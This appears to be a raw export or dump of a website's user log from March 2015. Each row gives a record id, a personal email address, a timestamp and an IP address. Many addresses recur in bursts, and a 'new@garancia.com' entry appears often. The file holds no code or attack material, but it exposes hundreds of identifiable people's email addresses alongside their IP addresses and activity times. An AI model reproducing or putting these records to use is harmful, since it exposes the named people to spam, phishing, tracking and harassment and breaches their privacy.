+4832;isa.ml04@free.fr;2015-03-09 12:36:54;88.188.177.130 +4833;isa.ml04@free.fr;2015-03-09 12:36:54;88.188.177.130 +4834;sylvie.rey0@free.fr;2015-03-09 12:43:47;88.164.70.181 +4835;draxmari@gmail.com;2015-03-09 12:52:30;78.113.27.175 +4836;moguito@hotmail.fr;2015-03-09 13:15:17;31.38.81.98 +4837;moguito@hotmail.fr;2015-03-09 13:16:18;31.38.81.98 +4838;moguito@hotmail.fr;2015-03-09 13:17:08;31.38.81.98 +4839;moguito@hotmail.fr;2015-03-09 13:17:21;31.38.81.98 +4840;moguito@hotmail.fr;2015-03-09 13:17:31;31.38.81.98 +4841;moguito@hotmail.fr;2015-03-09 13:17:36;31.38.81.98 +4842;moguito@hotmail.fr;2015-03-09 13:17:46;31.38.81.98 +4843;duboisarmieux@yahoo.fr;2015-03-09 13:20:26;92.89.235.75 +4844;Veroniq.lemorvan@gmail.com;2015-03-09 13:25:27;77.197.75.109 +4845;Veroniq.lemorvan@gmail.com;2015-03-09 13:25:27;77.197.75.109 +4846;lilieanges@gmail.com;2015-03-09 13:39:46;88.126.1.212 +4847;lisa.torres@free.fr;2015-03-09 14:16:05;149.154.82.195 +4848;daniele.voulu@aliceadsl.fr;2015-03-09 14:34:31;83.154.130.14 +4849;c.boisbieux@live.it;2015-03-09 14:39:15;109.112.45.30 +4850;selurlpharmacieveux@gmail.com;2015-03-09 14:53:23;86.221.244.80 +4851;dumant.severine@neuf.fr;2015-03-09 14:53:53;84.101.93.128 +4852;new@garancia.com;2015-03-09 14:57:01;80.12.55.243 +4853;new@garancia.com;2015-03-09 14:57:02;80.12.55.243 +4854;valerie.basse@ipsen.com;2015-03-09 15:01:21;80.12.55.243 +4855;valerie.basse@ipsen.com;2015-03-09 15:01:21;80.12.55.243 +4856;titiarenou@orange.fr;2015-03-09 15:04:51;90.7.221.75 +4857;lnahody@orange.fr;2015-03-09 15:05:04;90.7.221.75 +4858;sirisolaselle@orange.fr;2015-03-09 15:05:33;2.12.1.223 +4859;thegiseleb@gmail.com;2015-03-09 15:20:12;188.7.235.112 +4860;mirameil8@gmail.com;2015-03-09 15:39:36;78.247.32.100 +4861;mirameil8@gmail.com;2015-03-09 15:39:36;78.247.32.100 +4862;anneguillard847@msn.com;2015-03-09 15:44:15;78.230.206.78 +4863;missbastet@free.fr;2015-03-09 16:01:18;78.226.147.106 +4864;gatin.francoise@orange.fr;2015-03-09 16:09:36;92.150.180.56 +4865;valerie.olivares83@gmail.com;2015-03-09 16:09:55;86.211.160.252 +4866;carole.rouquet@hotmail.fr;2015-03-09 16:27:51;88.183.44.180 +4867;carole.rouquet@hotmail.fr;2015-03-09 16:29:26;88.183.44.180 +4868;aureliebourgogne@orange.fr;2015-03-09 16:39:59;83.167.52.81 +4869;acballarin@yahoo.fr;2015-03-09 16:46:40;193.251.177.253 +4870;abele.michele@gmail.com;2015-03-09 17:17:53;88.185.71.121 +4871;josy.du.34@free.fr;2015-03-09 17:25:28;82.231.34.12 +4872;guyoncorinne@wanadoo.fr;2015-03-09 18:14:26;86.222.239.155 +4873;mouflettepapillon@gmail.com;2015-03-09 18:25:23;2.1.72.29 +4874;agate.fonseca@laposte.net;2015-03-09 18:29:12;82.122.151.5 +4875;emilie5601@hotmail.com;2015-03-09 19:17:16;85.169.114.174 +4876;corinne-sanchez@club-internet.fr;2015-03-09 19:33:03;86.201.158.113 +4877;corinne-sanchez@club-internet.fr;2015-03-09 19:33:49;86.201.158.113 +4878;corinne-sanchez@club-internet.fr;2015-03-09 19:38:07;86.201.158.113 +4879;corinne-sanchez@club-internet.fr;2015-03-09 19:39:47;86.201.158.113 +4880;corinne-sanchez@club-internet.fr;2015-03-09 19:41:00;86.201.158.113 +4881;corinne-sanchez@club-internet.fr;2015-03-09 19:41:39;86.201.158.113 +4882;corinne-sanchez@club-internet.fr;2015-03-09 19:46:03;86.201.158.113 +4883;corinne-sanchez@club-internet.fr;2015-03-09 19:46:25;86.201.158.113 +4884;corinne-sanchez@club-internet.fr;2015-03-09 19:46:55;86.201.158.113 +4885;irene.bib@orange.fr;2015-03-09 19:51:38;90.25.146.19 +4886;new@garancia.com;2015-03-09 19:57:07;90.31.130.250 +4887;new@garancia.com;2015-03-09 19:57:07;90.31.130.250 +4888;cindy-guillaume-leana@outlook.fr;2015-03-09 20:53:09;176.182.182.13 +4889;cindy-guillaume-leana@outlook.fr;2015-03-09 20:53:09;176.182.182.13 +4890;phanieetgaetan@yahoo.fr;2015-03-09 20:56:42;77.201.127.177 +4891;patricia.durand2@sfr.fr;2015-03-09 21:00:52;109.19.21.67 +4892;barthelemy.chris@wanadoo.fr;2015-03-09 21:35:05;2.5.250.254 +4893;corinne-sanchez@club-internet.fr;2015-03-09 21:59:49;86.201.158.113 +4894;corinne-sanchez@club-internet.fr;2015-03-09 22:00:31;86.201.158.113 +4895;evelynethines@hotmail.com;2015-03-09 22:29:29;82.224.137.206 +4896;valerie@burtin.fr;2015-03-09 22:34:58;88.180.17.120 +4897;valerie@burtin.fr;2015-03-09 22:34:58;88.180.17.120 +4898;valerie@burtin.fr;2015-03-09 22:35:09;88.180.17.120 +4899;valerie@burtin.fr;2015-03-09 22:35:09;88.180.17.120 +4900;lujianxiao@voila.fr;2015-03-09 23:09:47;109.25.114.29 +4901;lujianxiao@voila.fr;2015-03-09 23:09:47;109.25.114.29 +4902;lujianxiao@voila.fr;2015-03-09 23:09:56;109.25.114.29 +4903;lujianxiao@voila.fr;2015-03-09 23:09:56;109.25.114.29 +4904;lujianxiao@voila.fr;2015-03-09 23:10:32;109.25.114.29 +4905;lujianxiao@voila.fr;2015-03-09 23:10:32;109.25.114.29 +4906;lujianxiao@voila.fr;2015-03-09 23:11:06;109.25.114.29 +4907;lujianxiao@voila.fr;2015-03-09 23:11:07;109.25.114.29 +4908;lujianxiao@voila.fr;2015-03-09 23:12:41;109.25.114.29 +4909;lujianxiao@voila.fr;2015-03-09 23:12:42;109.25.114.29 +4910;p.maillard222@laposte.net;2015-03-09 23:30:37;78.250.13.133 +4911;n.defaye@club-internet.fr;2015-03-09 23:41:36;86.200.47.17 +4912;new@garancia.com;2015-03-10 00:11:55;80.12.35.203 +4913;new@garancia.com;2015-03-10 00:11:56;80.12.35.203 +4914;babrol@club-internet.fr;2015-03-10 01:35:41;78.116.35.167 +4915;kfarjas@hotmail.com;2015-03-10 08:18:05;81.56.93.112 +4916;jacquelinec@telefonica.net;2015-03-10 08:42:08;88.7.18.229 +4917;ta.laeti@hotmail.fr;2015-03-10 08:50:43;89.83.159.215 +4918;suppini.joelle@orange.fr;2015-03-10 09:45:08;86.211.246.130 +4919;eudaemonia89@gmail.com;2015-03-10 09:57:23;79.87.35.232 +4920;janine.barraquierinchelin@sfr.fr;2015-03-10 09:58:59;78.123.205.192 +4921;janine.barraquierinchelin@sfr.fr;2015-03-10 10:04:20;78.123.205.192 +4922;iveteramos@sapo.pt;2015-03-10 10:23:23;85.245.49.147 +4923;bernadette.jacquot@sfr.fr;2015-03-10 11:40:22;78.114.177.69 +4924;christine.bouvy@sfr.fr;2015-03-10 11:53:23;46.182.213.33 +4925;mini.m0i@hotmail.fr;2015-03-10 12:43:15;213.245.217.159 +4926;martine76@sfr.fr;2015-03-10 13:07:07;84.102.192.244 +4927;m_janot@orange.fr;2015-03-10 13:14:14;90.52.17.96 +4928;livi83@live.fr;2015-03-10 14:04:54;88.175.123.60 +4929;isabelle.perol0566@orange.fr;2015-03-10 14:21:43;82.126.238.224 +4930;ilysabine@hotmail.fr;2015-03-10 14:36:07;31.32.110.209 +4931;corinne-sanchez@club-internet.fr;2015-03-10 15:49:00;194.250.240.109 +4932;tantin-monique@wanadoo.fr;2015-03-10 15:53:43;109.19.169.209 +4933;delphinerabu@gmail.com;2015-03-10 15:56:31;80.82.235.195 +4934;traversino-elisabeth@hotmail.com;2015-03-10 16:19:40;79.88.251.33 +4935;pharmacie.donnadieu@orange.fr;2015-03-10 16:32:11;86.207.187.6 +4936;nblancnoel@aol.com;2015-03-10 16:40:27;82.216.163.208 +4937;magablanc@gmail.com;2015-03-10 17:12:27;89.83.72.251 +4938;dossantosannie@orange.fr;2015-03-10 17:30:02;81.249.249.35 +4939;fopilag2@wanadoo.fr;2015-03-10 18:10:41;82.120.32.217 +4940;sophie.reuter2010@gmail.com;2015-03-10 18:32:54;212.233.43.223 +4941;mariechantal.merot@sfr.fr;2015-03-10 19:06:56;80.12.82.112 +4942;lydia.drouin@live.fr;2015-03-10 19:10:05;46.162.137.122 +4943;lydia.drouin@live.fr;2015-03-10 19:10:05;46.162.137.122 +4944;mariechantal.merot@sfr.fr;2015-03-10 19:10:32;80.12.82.112 +4945;lydia.drouin@live.fr;2015-03-10 19:12:37;46.162.137.122 +4946;melissa_favero@hotmail.com;2015-03-10 20:06:13;109.132.117.242 +4947;s.sourbes@gmail.com;2015-03-10 20:54:36;78.224.121.248 +4948;didou.or@gmail.com;2015-03-10 21:05:05;78.248.254.189 +4949;coco.moiszan@orange.fr;2015-03-10 21:20:49;92.152.255.128 +4950;pydco@orange.fr;2015-03-10 21:32:01;92.135.23.123 +4951;new@garancia.com;2015-03-10 21:38:48;82.246.228.231 +4952;new@garancia.com;2015-03-10 21:38:48;82.246.228.231 +4953;chatagnym@bluewin.ch;2015-03-10 21:46:17;178.194.80.185 +4954;chatagnym@bluewin.ch;2015-03-10 21:59:55;178.194.80.185 +4955;joel.lejeune0434@orange.fr;2015-03-10 22:01:42;83.193.236.225 +4956;Christelle.prodhon@wanadoo.fr;2015-03-10 22:08:16;92.148.7.96 +4957;Christelle.prodhon@wanadoo.fr;2015-03-10 22:08:16;92.148.7.96 +4958;Christelle.prodhon@wanadoo.fr;2015-03-10 22:08:28;92.148.7.96 +4959;Christelle.prodhon@wanadoo.fr;2015-03-10 22:08:29;92.148.7.96 +4960;Christelle.prodhon@wanadoo.fr;2015-03-10 22:08:30;92.148.7.96 +4961;Christelle.prodhon@wanadoo.fr;2015-03-10 22:08:31;92.148.7.96 +4962;Christelle.prodhon@wanadoo.fr;2015-03-10 22:08:37;92.148.7.96 +4963;Christelle.prodhon@wanadoo.fr;2015-03-10 22:08:37;92.148.7.96 +4964;new@garancia.com;2015-03-10 22:18:57;78.206.9.6 +4965;new@garancia.com;2015-03-10 22:18:58;78.206.9.6 +4966;carole.blanc83@gmail.com;2015-03-10 23:06:16;89.84.247.169 +4967;arlette.schuhler@bbox.fr;2015-03-10 23:08:12;31.34.223.59 +4968;marie.meir@orange.fr;2015-03-10 23:09:03;90.47.102.214 +4969;marielamberti@orange.fr;2015-03-11 00:10:00;80.13.173.112 +4970;caco-chan@hotmail.co.uk;2015-03-11 01:40:14;86.210.10.208 +4971;isabet.gulsoy@lilaschool.com;2015-03-11 02:35:47;108.87.56.111 +4972;isabet.gulsoy@lilaschool.com;2015-03-11 02:37:37;108.87.56.111 +4973;isabet.gulsoy@lilaschool.com;2015-03-11 07:12:03;108.87.56.111 +4974;isabet.gulsoy@lilaschool.com;2015-03-11 07:12:33;108.87.56.111 +4975;isabet.gulsoy@lilaschool.com;2015-03-11 07:13:11;108.87.56.111 +4976;isabet.gulsoy@lilaschool.com;2015-03-11 07:13:14;108.87.56.111 +4977;isabet.gulsoy@lilaschool.com;2015-03-11 07:13:16;108.87.56.111 +4978;suppini.joelle@orange.fr;2015-03-11 07:43:19;86.211.246.130 +4979;emmanuelle.boos@gmail.com;2015-03-11 09:21:21;37.72.206.173 +4980;anne.coullery@bluewin.ch;2015-03-11 09:33:18;83.76.170.32 +4981;habarrot.francoise@orange.fr;2015-03-11 10:27:26;109.223.218.106 +4982;nicole.crouzat@orange.fr;2015-03-11 10:35:36;83.205.236.179 +4983;misaia@free.fr;2015-03-11 10:40:03;83.205.236.179 +4984;alinat.full@club-internet.fr;2015-03-11 10:52:45;37.58.158.103 +4988;catherine.haest@mensura.be;2015-03-11 11:10:57;81.246.87.145 +4990;hadadeluna@hotmail.fr;2015-03-11 11:33:58;92.156.60.230 +4991;c.doerflinger67@gmail.com;2015-03-11 11:36:34;193.252.219.24 +4992;solenemeudec@yahoo.fr;2015-03-11 11:39:36;81.249.94.198 +4993;chriskarlica@gmail.com;2015-03-11 11:57:22;81.50.238.52 +4994;chriskarlica@gmail.com;2015-03-11 11:57:37;81.50.238.52 +4995;chriskarlica@gmail.com;2015-03-11 11:58:05;81.50.238.52 +4996;chriskarlica@gmail.com;2015-03-11 11:58:11;81.50.238.52 +4997;chriskarlica@gmail.com;2015-03-11 11:59:31;81.50.238.52 +4998;chriskarlica@gmail.com;2015-03-11 12:01:14;81.50.238.52 +4999;chriskarlica@gmail.com;2015-03-11 12:01:34;81.50.238.52 +5000;chriskarlica@gmail.com;2015-03-11 12:01:39;81.50.238.52 +5001;chriskarlica@gmail.com;2015-03-11 12:08:10;81.50.238.52 +5002;faizacochrane@hotmail.com;2015-03-11 12:08:21;87.192.161.25 +5003;faizacochrane@hotmail.com;2015-03-11 12:08:21;87.192.161.25 +5004;chriskarlica@gmail.com;2015-03-11 12:09:38;81.50.238.52 +5005;new@garancia.com;2015-03-11 12:10:13;178.251.23.187 +5006;new@garancia.com;2015-03-11 12:10:13;178.251.23.187 +5007;nandinha_fr@yahoo.fr;2015-03-11 12:20:54;85.168.152.214 +5010;mustinline@gmail.com;2015-03-11 13:10:33;109.129.39.214 +5011;anais.permal@hotmail.fr;2015-03-11 13:17:06;86.64.142.92 +5012;mustinline@gmail.com;2015-03-11 13:17:45;109.129.39.214 +5013;piffard.isabelle@neuf.fr;2015-03-11 13:19:47;88.121.129.56 +5014;paskallsi@yahoo.fr;2015-03-11 13:27:52;87.240.210.135 +5015;juniad@outlook.fr;2015-03-11 14:23:48;89.2.32.143 +5016;martine.boubin@sfr.fr;2015-03-11 14:27:30;88.219.195.216 +5017;veronique.billault@hotmail.fr;2015-03-11 14:31:58;90.45.245.31 +5018;facesi2005@yahoo.fr;2015-03-11 14:58:40;86.76.156.61 +5019;pharmaburesi@yahoo.fr;2015-03-11 15:27:12;2.4.1.241 +5020;new@garancia.com;2015-03-11 16:06:14;37.160.125.27 +5021;new@garancia.com;2015-03-11 16:06:25;37.160.125.27 +5022;moineisa@laposte.net;2015-03-11 16:17:55;109.8.115.242 +5023;nicoleodet@hotmail.fr;2015-03-11 17:12:53;213.56.36.55 +5024;bouilhol.mf@wanadoo.fr;2015-03-11 17:49:24;109.213.122.133 +5025;bouilhol.mf@wanadoo.fr;2015-03-11 17:49:34;109.213.122.133 +5026;laure-labarthe@orange.fr;2015-03-11 18:00:25;109.215.242.189 +5027;l.devincenz@hotmail.fr;2015-03-11 18:14:52;90.60.210.229 +5028;bouderroi.cecile@hotmail.fr;2015-03-11 18:43:06;87.90.102.56 +5029;cathy.chambonnet@libertysurf.fr;2015-03-11 18:48:11;82.252.39.170 +5030;monik59390@hotmail.com;2015-03-11 20:06:49;89.85.198.251 +5031;lovelyangia@hotmail.com;2015-03-11 20:14:52;188.115.101.171 +5032;fremhayat@hotmail.fr;2015-03-11 20:34:44;46.165.68.152 +5033;stephanie.vanmeenen@gmail.com;2015-03-11 21:03:30;83.154.60.50 +5034;stephanie.vanmeenen@gmail.com;2015-03-11 21:03:35;83.154.60.50 +5035;stephanie.vanmeenen@gmail.com;2015-03-11 21:03:47;83.154.60.50 +5036;ellenlcyoutube@yahoo.fr;2015-03-11 21:06:41;90.1.118.19 +5037;nmeys@live.fr;2015-03-11 21:16:46;83.134.144.46 +5038;magali.thevenard@gmail.com;2015-03-11 21:30:30;92.148.172.11 +5039;marcia.despont@gmail.com;2015-03-11 21:47:13;78.122.121.201 +5040;cla@spread-aency.com;2015-03-11 22:17:25;85.168.205.222 +5041;chaillet@wanadoo.fr;2015-03-11 22:33:24;86.204.4.226 +5042;new@garancia.com;2015-03-11 22:33:50;86.204.4.226 +5043;chaillet@wanadoo.fr;2015-03-11 22:38:38;86.204.4.226 +5044;h.maia@numericable.com;2015-03-11 22:49:34;212.198.44.59 +5045;h.maia@numericable.com;2015-03-11 22:50:16;212.198.44.59 +5046;eugenie.lambert@yahoo.fr;2015-03-11 23:02:14;84.98.149.253 +5047;richardvirginie.59162@gmail.com;2015-03-11 23:09:28;78.211.145.79 +5048;felixbarsinas08@gmail.com;2015-03-12 00:27:48;202.3.255.158 +5049;4mular@gmail.com;2015-03-12 06:34:48;1.10.213.107 +5050;4mular@gmail.com;2015-03-12 06:35:19;1.10.213.107 +5051;4mular@gmail.com;2015-03-12 06:35:27;1.10.213.107 +5052;coralie.toupart@sfr.fr;2015-03-12 08:53:18;77.196.140.253 +5053;Berzekio@neuf.fr;2015-03-12 09:09:29;77.205.116.172 +5054;steph.lapalus@orange.fr;2015-03-12 09:17:27;83.196.16.145 +5055;maraboutsouley@yahoo.fr;2015-03-12 09:17:53;41.74.11.41 +5056;maraboutsouley@yahoo.fr;2015-03-12 09:17:56;41.74.11.41 +5057;maraboutsouley@yahoo.fr;2015-03-12 09:18:02;41.74.11.41 +5058;maraboutsouley@yahoo.fr;2015-03-12 09:18:03;41.74.11.41 +5059;maraboutsouley@yahoo.fr;2015-03-12 09:18:03;41.74.11.41 +5060;maraboutsouley@yahoo.fr;2015-03-12 09:18:04;41.74.11.41 +5061;josephinebruno12@gmail.com;2015-03-12 09:34:46;80.11.144.201 +5062;lexie54@hotmail.fr;2015-03-12 09:36:00;194.199.92.46 +5063;yvonnickretiere@aliceadsl.fr;2015-03-12 09:53:14;88.164.114.16 +5064;beatricebonhomme39@gmail.com;2015-03-12 09:57:43;92.90.16.161 +5065;beatricebonhomme39@gmail.com;2015-03-12 09:57:47;92.90.16.161 +5066;beatricebonhomme39@gmail.com;2015-03-12 09:57:59;92.90.16.161 +5067;beatricebonhomme39@gmail.com;2015-03-12 09:58:15;92.90.16.161 +5068;victoria.albert@hotmail.fr;2015-03-12 10:22:33;90.22.34.55 +5069;jcadran@roullier.com;2015-03-12 10:25:20;92.90.20.147 +5070;pharmacie-pont-patch@orange.fr;2015-03-12 10:30:22;80.13.30.34 +5071;pharmacie-pont-patch@orange.fr;2015-03-12 10:30:41;80.13.30.34 +5072;derolez.linda@neuf.fr;2015-03-12 10:37:57;90.11.237.145 +5073;gasselinclotilde@gmail.com;2015-03-12 11:24:50;92.160.235.216 +5074;gasselinclotilde@gmail.com;2015-03-12 11:26:45;92.160.235.216 +5075;gasselinclotilde@gmail.com;2015-03-12 11:26:47;92.160.235.216 +5076;gasselinclotilde@gmail.com;2015-03-12 11:26:49;92.160.235.216 +5077;gasselinclotilde@gmail.com;2015-03-12 11:26:51;92.160.235.216 +5078;gasselinclotilde@gmail.com;2015-03-12 11:26:52;92.160.235.216 +5079;gasselinclotilde@gmail.com;2015-03-12 11:28:10;92.160.235.216 +5080;gasselinclotilde@gmail.com;2015-03-12 11:28:19;92.160.235.216 +5081;sylvie.lombart@orange.fr;2015-03-12 11:42:54;86.194.124.118 +5082;pharmaciedelafaisanderie@gmail.com;2015-03-12 12:09:03;194.8.148.37 +5083;pharmaciedelafaisanderie@gmail.com;2015-03-12 12:18:42;194.8.148.37 +5084;pharmaciedelafaisanderie@gmail.com;2015-03-12 12:19:07;194.8.148.37 +5085;katell.cadiou@aol.fr;2015-03-12 12:44:25;88.186.202.45 +5086;chaillet@wanadoo.fr;2015-03-12 12:53:00;86.204.4.226 +5087;phmscom@offisecure.com;2015-03-12 13:01:58;109.8.117.62 +5088;antony.blanc@orange.fr;2015-03-12 13:18:30;86.211.114.66 +5089;brigitte.nouzille@hotmail.fr;2015-03-12 13:18:45;89.2.49.140 +5090;mariapereira.sara@gmail.com;2015-03-12 13:19:31;193.251.188.60 +5091;gabrielledeckers@skynet.be;2015-03-12 13:40:32;212.166.25.128 +5092;vivitoulon83@com.fr;2015-03-12 13:41:43;78.232.66.175 +5093;vivitoulon83@com.fr;2015-03-12 13:41:44;78.232.66.175 +5094;CATHY.DHAUSSY@RKI-LOGISTICS.COM;2015-03-12 13:58:07;90.80.6.61 +5095;CATHY.DHAUSSY@RKI-LOGISTICS.COM;2015-03-12 13:58:09;90.80.6.61 +5096;dominique.cailliez@orange.fr;2015-03-12 14:06:26;83.202.38.18 +5097;mamourmout@hotmail.fr;2015-03-12 14:09:34;89.89.11.200 +5098;0677389678@orange.fr;2015-03-12 15:00:19;90.30.174.142 +5099;nponce25@gmail.com;2015-03-12 15:12:57;92.148.44.228 +5100;mustinline@gmail.com;2015-03-12 15:17:46;109.129.25.156 +5101;axel.imberty@gmail.fr;2015-03-12 15:19:22;90.55.252.231 +5102;cheneau.joelle@neuf.fr;2015-03-12 15:29:48;193.104.54.1 +5103;mep@spectaclespublications.com;2015-03-12 15:47:51;90.85.120.237 +5104;ambrondino@gmail.com;2015-03-12 15:56:48;194.199.224.108 +5105;bellec.nadine@orange.fr;2015-03-12 16:13:30;86.214.169.34 +5106;arielle.gibson@wanadoo.fr;2015-03-12 16:21:10;82.127.123.202 +5107;cedileau.auriane@gmail.com;2015-03-12 16:40:59;85.168.125.148 +5108;terititia@yahoo.fr;2015-03-12 16:46:23;92.154.94.52 +5109;terititia@yahoo.fr;2015-03-12 16:54:39;92.154.94.52 +5110;terititia@yahoo.fr;2015-03-12 16:54:42;92.154.94.52 +5111;terititia@yahoo.fr;2015-03-12 16:55:05;92.154.94.52 +5112;jules.dupont@gmail.com;2015-03-12 17:04:09;109.88.159.15 +5113;larcher.c@orange.fr;2015-03-12 18:45:40;90.34.173.67 +5114;vali.63@hotmail.fr;2015-03-12 18:48:12;79.90.103.194 +5115;Atikalou@hotmail.com;2015-03-12 19:02:36;83.157.243.10 +5116;atikalou@hotmail.com;2015-03-12 19:02:53;83.157.243.10 +5117;atikalou@hotmail.com;2015-03-12 19:02:58;83.157.243.10 +5118;eliane.raux@wanadoo.fr;2015-03-12 19:12:10;83.192.116.177 +5119;a-part-ca@hotmail.fr;2015-03-12 19:12:16;77.197.42.61 +5120;douadyevelyne@aol.com;2015-03-12 19:13:19;77.157.18.140 +5121;new@garancia.com;2015-03-12 19:16:26;83.157.243.10 +5122;new@garancia.com;2015-03-12 19:16:31;83.157.243.10 +5123;chantal.fouchard@gmail.com;2015-03-12 19:16:32;95.171.149.26 +5124;atikalou@hotmail.com;2015-03-12 19:16:37;83.157.243.10 +5125;chantal.fouchard@gmail.com;2015-03-12 19:16:39;95.171.149.26 +5126;chantal.fouchard@gmail.com;2015-03-12 19:16:42;95.171.149.26 +5127;chantal.fouchard@gmail.com;2015-03-12 19:16:56;95.171.149.26 +5128;chantal.fouchard@gmail.com;2015-03-12 19:16:59;95.171.149.26 +5129;chantal.fouchard@gmail.com;2015-03-12 19:17:05;95.171.149.26 +5130;chantal.fouchard@gmail.com;2015-03-12 19:17:25;95.171.149.26 +5131;chantal.fouchard@gmail.com;2015-03-12 19:17:31;95.171.149.26 +5132;new@garancia.com;2015-03-12 19:17:34;83.157.243.10 +5133;new@garancia.com;2015-03-12 19:18:06;83.157.243.10 +5134;corinnetouvrey@orange.fr;2015-03-12 19:35:42;81.51.14.124 +5135;corinnetouvrey@orange.fr;2015-03-12 19:37:22;81.51.14.124 +5136;nazihaslane@gmail.com;2015-03-12 19:44:04;41.104.18.101 +5137;andreebourseul@gmail.com;2015-03-12 20:01:59;78.250.244.18 +5138;andreebourseul@gmail.com;2015-03-12 20:02:01;78.250.244.18 +5139;andreebourseul@gmail.com;2015-03-12 20:03:06;78.250.244.18 +5140;andreebourseul@gmail.com;2015-03-12 20:03:06;78.250.244.18 +5141;andreebourseul@gmail.com;2015-03-12 20:03:07;78.250.244.18 +5142;andreebourseul@gmail.com;2015-03-12 20:03:11;78.250.244.18 +5143;josiane.nahon@gmail.com;2015-03-12 20:19:02;77.196.155.27 +5144;eugenie.lambert@yahoo.fr;2015-03-12 20:46:36;84.98.149.253 +5145;new@garancia.com;2015-03-12 21:00:59;90.35.72.171 +5146;new@garancia.com;2015-03-12 21:01:10;90.35.72.171 +5147;new@garancia.com;2015-03-12 21:01:18;90.35.72.171 +5148;josiane.nahon@gmail.com;2015-03-12 21:03:51;77.196.155.27 +5149;new@garancia.com;2015-03-12 21:04:06;90.55.253.181 +5150;new@garancia.com;2015-03-12 21:04:11;90.55.253.181 +5151;new@garancia.com;2015-03-12 21:04:19;90.55.253.181 +5152;new@garancia.com;2015-03-12 21:04:27;90.55.253.181 +5153;new@garancia.com;2015-03-12 21:04:58;90.55.253.181 +5154;josiane.nahon@gmail.com;2015-03-12 21:05:17;77.196.155.27 +5155;josiane.nahon@gmail.com;2015-03-12 21:05:31;77.196.155.27 +5156;new@garancia.com;2015-03-12 21:05:58;90.55.253.181 +5157;new@garancia.com;2015-03-12 21:06:09;90.55.253.181 +5158;new@garancia.com;2015-03-12 21:06:18;90.55.253.181 +5159;prevotsabine@gmail.com;2015-03-12 21:07:08;90.55.253.181 +5160;prevotsabine@gmail.com;2015-03-12 21:07:16;90.55.253.181 +5161;new@garancia.com;2015-03-12 21:09:52;90.55.253.181 +5162;new@garancia.com;2015-03-12 21:10:20;90.55.253.181 +5163;marilyn.paillas@hotmail.fr;2015-03-12 21:19:27;78.206.180.36 +5164;new@garancia.com;2015-03-12 21:28:28;83.157.243.10 +5165;new@garancia.com;2015-03-12 21:28:31;83.157.243.10 +5166;new@garancia.com;2015-03-12 21:28:33;83.157.243.10 +5167;new@garancia.com;2015-03-12 21:29:20;83.157.243.10 +5168;new@garancia.com;2015-03-12 21:29:31;83.157.243.10 +5169;new@garancia.com;2015-03-12 21:29:34;83.157.243.10 +5170;new@garancia.com;2015-03-12 21:29:58;83.157.243.10 +5171;new@garancia.com;2015-03-12 21:31:06;83.157.243.10 +5172;new@garancia.com;2015-03-12 21:31:11;83.157.243.10 +5173;new@garancia.com;2015-03-12 21:31:14;83.157.243.10 +5174;minikiwidu22@hotmail.fr;2015-03-12 21:37:48;2.14.15.161 +5175;constancegh@neuf.fr;2015-03-12 22:00:11;78.206.132.98 +5176;new@garancia.com;2015-03-12 22:18:03;89.82.3.64 +5177;new@garancia.com;2015-03-12 22:18:06;89.82.3.64 +5178;new@garancia.com;2015-03-12 22:18:07;89.82.3.64 +5179;new@garancia.com;2015-03-12 22:18:08;89.82.3.64 +5180;new@garancia.com;2015-03-12 22:18:18;89.82.3.64 +5181;new@garancia.com;2015-03-12 22:18:30;89.82.3.64 +5182;lili22100@gmail.com;2015-03-12 22:18:50;89.82.3.64 +5183;lili22100@gmail.com;2015-03-12 22:18:53;89.82.3.64 +5184;new@garancia.com;2015-03-12 22:18:56;89.82.3.64 +5185;new@garancia.com;2015-03-12 22:19:07;89.82.3.64 +5186;new@garancia.com;2015-03-12 22:19:33;89.82.3.64 +5187;new@garancia.com;2015-03-12 22:19:34;89.82.3.64 +5188;new@garancia.com;2015-03-12 22:19:37;89.82.3.64 +5189;new@garancia.com;2015-03-12 22:19:39;89.82.3.64 +5190;new@garancia.com;2015-03-12 22:19:40;89.82.3.64 +5191;new@garancia.com;2015-03-12 22:19:42;89.82.3.64 +5192;new@garancia.com;2015-03-12 22:19:44;89.82.3.64 +5193;new@garancia.com;2015-03-12 22:19:44;89.82.3.64 +5194;new@garancia.com;2015-03-12 22:19:44;89.82.3.64 +5195;new@garancia.com;2015-03-12 22:19:45;89.82.3.64 +5196;new@garancia.com;2015-03-12 22:19:45;89.82.3.64 +5197;new@garancia.com;2015-03-12 22:19:45;89.82.3.64 +5198;new@garancia.com;2015-03-12 22:19:46;89.82.3.64 +5199;new@garancia.com;2015-03-12 22:19:46;89.82.3.64 +5200;new@garancia.com;2015-03-12 22:19:47;89.82.3.64 +5201;new@garancia.com;2015-03-12 22:19:47;89.82.3.64 +5202;new@garancia.com;2015-03-12 22:19:47;89.82.3.64 +5203;new@garancia.com;2015-03-12 22:19:48;89.82.3.64 +5204;new@garancia.com;2015-03-12 22:19:48;89.82.3.64 +5205;new@garancia.com;2015-03-12 22:19:49;89.82.3.64 +5206;new@garancia.com;2015-03-12 22:19:49;89.82.3.64 +5207;new@garancia.com;2015-03-12 22:19:49;89.82.3.64 +5208;new@garancia.com;2015-03-12 22:20:26;89.82.3.64 +5209;new@garancia.com;2015-03-12 22:20:29;89.82.3.64 +5210;new@garancia.com;2015-03-12 22:20:31;89.82.3.64 +5211;new@garancia.com;2015-03-12 22:20:31;89.82.3.64 +5212;new@garancia.com;2015-03-12 22:20:32;89.82.3.64 +5213;new@garancia.com;2015-03-12 22:20:33;89.82.3.64 +5214;new@garancia.com;2015-03-12 22:20:34;89.82.3.64 +5215;new@garancia.com;2015-03-12 22:20:36;89.82.3.64 +5216;lili22100@gmail.com;2015-03-12 22:21:00;89.82.3.64 +5217;lili22100@gmail.com;2015-03-12 22:21:03;89.82.3.64 +5218;new@garancia.com;2015-03-12 22:22:14;89.82.3.64 +5219;vallis57@hotmail.fr;2015-03-12 22:31:42;77.129.23.155 +5220;cathy.jaruga@wanadoo.fr;2015-03-12 22:55:22;92.131.131.15 +5221;constancegh@neuf.fr;2015-03-12 23:05:30;78.206.132.98 +5222;new@garancia.com;2015-03-12 23:05:39;78.206.132.98 +5223;new@garancia.com;2015-03-12 23:05:42;78.206.132.98 +5224;new@garancia.com;2015-03-12 23:05:48;78.206.132.98 +5225;new@garancia.com;2015-03-12 23:05:51;78.206.132.98 +5226;constancegh@neuf.fr;2015-03-12 23:05:54;78.206.132.98 +5227;constancegh@neuf.fr;2015-03-12 23:05:57;78.206.132.98 +5228;constancegh@neuf.fr;2015-03-12 23:06:05;78.206.132.98 +5229;rousseau.sandrine@live.fr;2015-03-12 23:30:28;93.182.245.68 +5230;clementine.l@live.fr;2015-03-13 00:05:59;80.236.96.160 +5231;clementine.l@live.fr;2015-03-13 00:06:04;80.236.96.160 